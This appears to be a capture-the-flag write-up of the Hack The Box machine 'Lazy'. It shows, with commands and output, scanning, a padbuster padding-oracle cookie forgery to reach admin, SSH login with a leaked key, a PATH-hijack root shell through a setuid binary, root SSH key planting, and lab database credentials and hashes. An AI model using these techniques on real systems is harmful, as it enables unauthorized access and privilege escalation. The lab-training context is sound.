Lazy
Contents
Ports scan
u505@kali:~/HTB/Machines/Lazy$ sudo masscan -e tun0 -p1-65535,U:1-65535 --rate 1000 10.10.10.18 [sudo] password for u505:
Starting masscan 1.0.5 at 2020-04-28 13:28:51 GMT -- forced options: -sS -Pn -n --randomize-hosts -v --send-eth Initiating SYN Stealth Scan Scanning 1 hosts [131070 ports/host] Discovered open port 80/tcp on 10.10.10.18 Discovered open port 22/tcp on 10.10.10.18
u505@kali:~/HTB/Machines/Lazy$ nmap -sC -sV 10.10.10.18 Starting Nmap 7.80 ( https://nmap.org ) at 2020-04-27 14:43 EDT Nmap scan report for lazy.htb (10.10.10.18) Host is up (0.038s latency). Not shown: 998 closed ports PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 6.6.1p1 Ubuntu 2ubuntu2.8 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: | 1024 e1:92:1b:48:f8:9b:63:96:d4:e5:7a:40:5f:a4:c8:33 (DSA) | 2048 af:a0:0f:26:cd:1a:b5:1f:a7:ec:40:94:ef:3c:81:5f (RSA) | 256 11:a3:2f:25:73:67:af:70:18:56:fe:a2:e3:54:81:e8 (ECDSA) |_ 256 96:81:9c:f4:b7:bc:1a:73:05:ea:ba:41:35:a4:66:b7 (ED25519) 80/tcp open http Apache httpd 2.4.7 ((Ubuntu)) |_http-server-header: Apache/2.4.7 (Ubuntu) |_http-title: CompanyDev Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 8.85 seconds
Web Application
The web server serves an PHP application. The application allows us to register and login.
We register our user.
We are logged as our user.
dirsearch
Dirsearch doesn't reveal anything new.
u505@kali:~/HTB/Machines/Lazy$ python3 /opt/utils/dirsearch/dirsearch.py -w /usr/share/wordlists/dirb/common2.txt -e "php,txt" -r 1 -f -t 50 -u http://10.10.10.18
_|. _ _ _ _ _ _|_ v0.3.9 (_||| _) (/_(_|| (_| )
Extensions: php, txt | HTTP method: get | Threads: 50 | Wordlist size: 13784 | Recursion level: 1
Error Log: /opt/utils/dirsearch/logs/errors-20-04-29_13-49-51.log
Target: http://10.10.10.18
[13:49:51] Starting: [13:49:52] 403 - 282B - /.php [13:50:00] 200 - 1KB - /classes/ [13:50:01] 200 - 1KB - /css/ [13:50:05] 200 - 51B - /footer.php [13:50:06] 200 - 734B - /header.php [13:50:06] 403 - 284B - /icons/ [13:50:07] 200 - 1KB - /images/ [13:50:07] 200 - 1KB - /index.php [13:50:07] 200 - 1KB - /index.php/ [13:50:09] 200 - 2KB - /login.php [13:50:09] 302 - 734B - /logout.php -> /index.php [13:50:15] 200 - 2KB - /register.php [13:50:16] 403 - 292B - /server-status/ [13:50:22] Starting: classes/ [13:50:23] 403 - 290B - /classes/.php [13:50:27] 302 - 0B - /classes/auth.php -> /admin/login.php [13:50:32] 200 - 0B - /classes/db.php [13:50:59] 200 - 0B - /classes/user.php [13:51:02] Starting: css/ [13:51:02] 403 - 286B - /css/.php [13:51:42] Starting: icons/ [13:51:42] 403 - 288B - /icons/.php [13:52:11] 403 - 290B - /icons/small/ [13:52:16] Starting: images/ [13:52:17] 403 - 289B - /images/.php [13:52:57] Starting: index.php/ [13:53:52] Starting: server-status/
Task Completed
Sqlmap
With Sqlmap we check if the application is vulnerable to SQL injection on the login page.
We try a login to intercept the HTTP frame.
We save the request to use it with sqlmap.
u505@kali:~/HTB/Machines/Lazy$ cat login.req POST /login.php HTTP/1.1 Host: lazy.htb User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:68.0) Gecko/20100101 Firefox/68.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Referer: http://lazy.htb/login.php Content-Type: application/x-www-form-urlencoded Content-Length: 29 Connection: close Upgrade-Insecure-Requests: 1
username=admin&password=admin
And we run sql map
u505@kali:~/HTB/Machines/Lazy$ sqlmap -r login.req --level=4 --risk=3 ___ __H__ ___ ___["]_____ ___ ___ {1.4.4#stable} |_ -| . [.] | .'| . | |___|_ [,]_|_|_|__,| _| |_|V... |_| http://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program
[*] starting @ 06:07:46 /2020-04-29/
[06:07:46] [INFO] parsing HTTP request from 'login.req' [06:07:46] [INFO] testing connection to the target URL [06:07:47] [INFO] testing if the target URL content is stable ... [06:22:49] [CRITICAL] all tested parameters do not appear to be injectable. Try to increase values for '--level'/'--risk' options if you wish to perform more tests. If you suspect that there is some kind of protection mechanism involved (e.g. WAF) maybe you could try to use option '--tamper' (e.g. '--tamper=space2comment') and/or switch '--random-agent'
[*] ending @ 06:22:49 /2020-04-29/
The application doesn't seems vulnerable to SQL Injection.
Padding oracle attack
Once logged with our user, if we tamper the value of the cookie auth, we obtain "invalid padding" message.
The "invalid padding" message is an hint. The auth cookie is encrypted, and tampered value cannot be deciphered.
In cryptography, a padding oracle attack is an attack which uses the padding validation of a cryptographic message to decrypt the ciphertext. In cryptography, variable-length plaintext messages often have to be padded (expanded) to be compatible with the underlying cryptographic primitive. (see https://en.wikipedia.org/wiki/Padding_oracle_attack)
With tool padbuster, we can decipher the cookie.
u505@kali:~/HTB/Machines/Lazy$ padbuster http://lazy.htb/login.php 3mlj82KFc%2FlXWrFfCGtxfPheKBRS8shJ 8 --cookies auth=3mlj82KFc%2FlXWrFfCGtxfPheKBRS8shJ
+-------------------------------------------+ | PadBuster - v0.3.3 | | Brian Holyfield - Gotham Digital Science | | labs@gdssecurity.com | +-------------------------------------------+
INFO: The original request returned the following [+] Status: 200 [+] Location: N/A [+] Content Length: 1486
INFO: Starting PadBuster Decrypt Mode *** Starting Block 1 of 2 ***
INFO: No error string was provided...starting response analysis
*** Response Analysis Complete ***
The following response signatures were returned:
------------------------------------------------------- ID# Freq Status Length Location ------------------------------------------------------- 1 1 200 1564 N/A 2 ** 255 200 15 N/A -------------------------------------------------------
Enter an ID that matches the error condition NOTE: The ID# marked with ** is recommended : 2
Continuing test with selection 2
[+] Success: (56/256) [Byte 8] [+] Success: (188/256) [Byte 7] [+] Success: (13/256) [Byte 6] [+] Success: (165/256) [Byte 5] [+] Success: (124/256) [Byte 4] [+] Success: (256/256) [Byte 3] [+] Success: (227/256) [Byte 2] [+] Success: (93/256) [Byte 1]
Block 1 Results: [+] Cipher Text (HEX): 575ab15f086b717c [+] Intermediate Bytes (HEX): ab1a06815ff046c9 [+] Plain Text: user=u50
Use of uninitialized value $plainTextBytes in concatenation (.) or string at /usr/bin/padbuster line 361, <STDIN> line 1. *** Starting Block 2 of 2 ***
[+] Success: (134/256) [Byte 8] [+] Success: (140/256) [Byte 7] [+] Success: (145/256) [Byte 6] [+] Success: (245/256) [Byte 5] [+] Success: (163/256) [Byte 4] [+] Success: (80/256) [Byte 3] [+] Success: (166/256) [Byte 2] [+] Success: (150/256) [Byte 1]
Block 2 Results: [+] Cipher Text (HEX): f85e281452f2c849 [+] Intermediate Bytes (HEX): 625db6580f6c767b [+] Plain Text: 5
------------------------------------------------------- ** Finished ***
[+] Decrypted value (ASCII): user=u505
[+] Decrypted value (HEX): 757365723D7535303507070707070707
[+] Decrypted value (Base64): dXNlcj11NTA1BwcHBwcHBw==
-------------------------------------------------------
The clear value of the cookie is user=u505. Once we know that the cookie provides authentication, we can calculate the encrypted value for user=admin. We use padbuster in the encrypt mode providing the plain text that we want to cipher.
u505@kali:~/HTB/Machines/Lazy$ padbuster http://lazy.htb/login.php 3mlj82KFc%2FlXWrFfCGtxfPheKBRS8shJ 8 --cookies auth=3mlj82KFc%2FlXWrFfCGtxfPheKBRS8shJ -plaintext user=admin
+-------------------------------------------+ | PadBuster - v0.3.3 | | Brian Holyfield - Gotham Digital Science | | labs@gdssecurity.com | +-------------------------------------------+
INFO: The original request returned the following [+] Status: 200 [+] Location: N/A [+] Content Length: 1486
INFO: Starting PadBuster Encrypt Mode [+] Number of Blocks: 2
INFO: No error string was provided...starting response analysis
*** Response Analysis Complete ***
The following response signatures were returned:
------------------------------------------------------- ID# Freq Status Length Location ------------------------------------------------------- 1 1 200 1564 N/A 2 ** 255 200 15 N/A -------------------------------------------------------
Enter an ID that matches the error condition NOTE: The ID# marked with ** is recommended : 2
Continuing test with selection 2
[+] Success: (196/256) [Byte 8] [+] Success: (148/256) [Byte 7] [+] Success: (92/256) [Byte 6] [+] Success: (41/256) [Byte 5] [+] Success: (218/256) [Byte 4] [+] Success: (136/256) [Byte 3] [+] Success: (150/256) [Byte 2] [+] Success: (190/256) [Byte 1]
Block 2 Results: [+] New Cipher Text (HEX): 23037825d5a1683b [+] Intermediate Bytes (HEX): 4a6d7e23d3a76e3d
[+] Success: (1/256) [Byte 8] [+] Success: (36/256) [Byte 7] [+] Success: (180/256) [Byte 6] [+] Success: (17/256) [Byte 5] [+] Success: (146/256) [Byte 4] [+] Success: (50/256) [Byte 3] [+] Success: (132/256) [Byte 2] [+] Success: (135/256) [Byte 1]
Block 1 Results: [+] New Cipher Text (HEX): 0408ad19d62eba93 [+] Intermediate Bytes (HEX): 717bc86beb4fdefe
------------------------------------------------------- ** Finished ***
[+] Encrypted value is: BAitGdYuupMjA3gl1aFoOwAAAAAAAAAA -------------------------------------------------------
We tamper the HTTP request with the calculated encrypted value of user=admin
And the response is the page logged as admin.
As admin the page is different, A picture is added and a link appears.
User flag
We download the ssh key.
u505@kali:~/HTB/Machines/Lazy$ wget http://lazy.htb/mysshkeywithnamemitsos --2020-04-27 15:46:16-- http://lazy.htb/mysshkeywithnamemitsos Resolving lazy.htb (lazy.htb)... 10.10.10.18 Connecting to lazy.htb (lazy.htb)|10.10.10.18|:80... connected. HTTP request sent, awaiting response... 200 OK Length: 1679 (1.6K) Saving to: ‘mysshkeywithnamemitsos’
mysshkeywithnamemit 100%[===================>] 1.64K --.-KB/s in 0s
2020-04-27 15:46:16 (91.4 MB/s) - ‘mysshkeywithnamemitsos’ saved [1679/1679]
u505@kali:~/HTB/Machines/Lazy$ ls -ltr total 4 -rw-r--r-- 1 u505 u505 1679 May 2 2017 mysshkeywithnamemitsos u505@kali:~/HTB/Machines/Lazy$ chmod 600 mysshkeywithnamemitsos
The name of the file allows us to guess the user name.
u505@kali:~/HTB/Machines/Lazy$ ssh -i mysshkeywithnamemitsos mitsos@lazy.htb The authenticity of host 'lazy.htb (10.10.10.18)' can't be established. ECDSA key fingerprint is SHA256:OJ5DTyZUGZXEpX4BKFNTApa88gR/+w5vcNathKIPcWE. Are you sure you want to continue connecting (yes/no/[fingerprint])? yes Warning: Permanently added 'lazy.htb,10.10.10.18' (ECDSA) to the list of known hosts. Welcome to Ubuntu 14.04.5 LTS (GNU/Linux 4.4.0-31-generic i686)
* Documentation: https://help.ubuntu.com/
System information as of Mon Apr 27 21:46:33 EEST 2020
System load: 0.0 Memory usage: 4% Processes: 194 Usage of /: 7.6% of 18.58GB Swap usage: 0% Users logged in: 0
Graph this data and manage this system at: https://landscape.canonical.com/
Last login: Thu Jan 18 10:29:40 2018 mitsos@LazyClown:~$ cat user.txt <USER_FLAG>
Escalation of privileges
mitsos@LazyClown:~$ ls -ltr total 20 drwxrwxr-x 4 mitsos mitsos 4096 May 2 2017 peda -rwsrwsr-x 1 root root 7303 May 3 2017 backup -r--r--r-- 1 mitsos mitsos 33 Jan 18 2018 user.txt mitsos@LazyClown:~$ file backup backup: setuid, setgid ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.24, BuildID[sha1]=33d6b5bec96c44e630f37ff41cc1c4a8b2813b6b, not stripped
There is a file backup with the setuid flag for user root set.
u505@kali:~/HTB/Machines/Lazy$ scp -i mysshkeywithnamemitsos mitsos@lazy.htb:/home/mitsos/backup ./ backup 100% 7303 180.7KB/s 00:00
We retrieve the file and disassemble it.
The program is extremely simple, it executes "cat /etc/shadow".
The call of the command cat is by relative path, we can tamper the environment variable PATH to execute our cat command.
mitsos@LazyClown:~$ echo $PATH /usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games:/usr/local/games mitsos@LazyClown:~$ echo "whoami" > /tmp/cat mitsos@LazyClown:~$ chmod +x /tmp/cat mitsos@LazyClown:~$ export PATH=/tmp:$PATH mitsos@LazyClown:~$ echo $PATH /tmp:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games:/usr/local/games mitsos@LazyClown:~$ ./backup root
Instead of the command whoami, we can execute /bin/sh
mitsos@LazyClown:~$ echo "/bin/sh" > /tmp/cat
mitsos@LazyClown:~$ ./backup
# id
uid=1000(mitsos) gid=1000(mitsos) euid=0(root) egid=0(root) groups=0(root),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),110(lpadmin),111(sambashare),1000(mitsos)
# /bin/cat /root/root.txt
<ROOT_FLAG>
It works because the OS is Ubuntu 14. On Ubuntu 16 and higher, the dash shell fallback to the calling user if the euid and the uid are different (same behavior as bash).
To gain real root access, we can copy the authorized key to the root user folder.
# cd /root # mkdir .ssh # cd .ssh # cp /home/mitsos/.ssh/authorized_keys ./
And now, we can ssh as real root.
u505@kali:~/HTB/Machines/Lazy$ ssh -i mysshkeywithnamemitsos root@lazy.htb Welcome to Ubuntu 14.04.5 LTS (GNU/Linux 4.4.0-31-generic i686)
* Documentation: https://help.ubuntu.com/
System information as of Wed Apr 29 22:10:47 EEST 2020
System load: 0.1 Processes: 209 Usage of /: 7.6% of 18.58GB Users logged in: 0 Memory usage: 10% IP address for eth0: 10.10.10.18 Swap usage: 0%
Graph this data and manage this system at: https://landscape.canonical.com/
Last login: Sun Dec 24 20:29:25 2017 root@LazyClown:~# id uid=0(root) gid=0(root) groups=0(root)
Alternative way to gain admin access on the web portal
After reading the code, there is a flow in the way how the user is calculated from the cookie.
public static function getuserfromcookie($auth) {
$passphrase = 'pntstrlb';
$data = decryptString($auth, $passphrase);
list($a, $user) = explode("=", $data);
$sql = "SELECT * FROM users where login=\"";
$sql.= mysql_real_escape_string($user);
$sql.= "\"";
$result = mysql_query($sql);
if ($result) {
if ($row = mysql_fetch_assoc($result)) {
return $row['login'];
}
else {
echo "User not found: ".htmlentities($user);
return NULL;
}
}
return NULL;
}
The function getuserfromcookie gets the username from the encrypted cookie. But once the cookie is deciphered, the string is split using = as delimiter character. This means that if we register with a user that begins with admin=, it should do the registration and login correctly, but it should load the admin profile instead of our new user profile.
On the database, we can check the row.
root@LazyClown:/var/www/html# cat classes/db.php <?php
$lnk = mysql_connect("localhost", "root", "sup3rs3cr3tp4ssw0rd"); $db = mysql_select_db('cbc', $lnk);
?> root@LazyClown:/var/www/html# mysql -p Enter password: Welcome to the MySQL monitor. Commands end with ; or \g. Your MySQL connection id is 44 Server version: 5.5.55-0ubuntu0.14.04.1 (Ubuntu)
Copyright (c) 2000, 2017, Oracle and/or its affiliates. All rights reserved.
Oracle is a registered trademark of Oracle Corporation and/or its affiliates. Other names may be trademarks of their respective owners.
Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.
mysql> show databases; +--------------------+ | Database | +--------------------+ | information_schema | | cbc | | mysql | | performance_schema | +--------------------+ 4 rows in set (0.00 sec)
mysql> use cbc; Reading table information for completion of table and column names You can turn off this feature to get a quicker startup with -A
Database changed mysql> show tables; +---------------+ | Tables_in_cbc | +---------------+ | users | +---------------+ 1 row in set (0.00 sec)
mysql> select * from users; +-----------+----------------------------------+ | login | password | +-----------+----------------------------------+ | admin | bcd86545c5903856961fa21b914c5fe4 | | admin=bad | 5577227e8aa4f90e7dbe4195e334e5fa | | ch4p | 296dfa40ef1bd68d09a7277763a2b9b9 | | test | 6418145b5e1b524f7c1f60f13f5acc12 | | test2 | 6418145b5e1b524f7c1f60f13f5acc12 | | u505 | 78a6e4a73f898ebb9f3e546fb1cd6348 | | ZAP | b6e3f74b09377ed0485216e728545041 | +-----------+----------------------------------+ 6 rows in set (0.00 sec)
mysql> quit Bye
We log in with user admin=bad, but the application is fooled and shows the admin profile.
Of course this way is easy to guess once we can read the source code :)
References
- https://en.wikipedia.org/wiki/Padding_oracle_attack
- https://blog.gdssecurity.com/labs/2010/9/14/automated-padding-oracle-attacks-with-padbuster.html
- https://pentesterlab.com/exercises/padding_oracle/course
Daniel Simao 06:32, 28 April 2020 (EDT)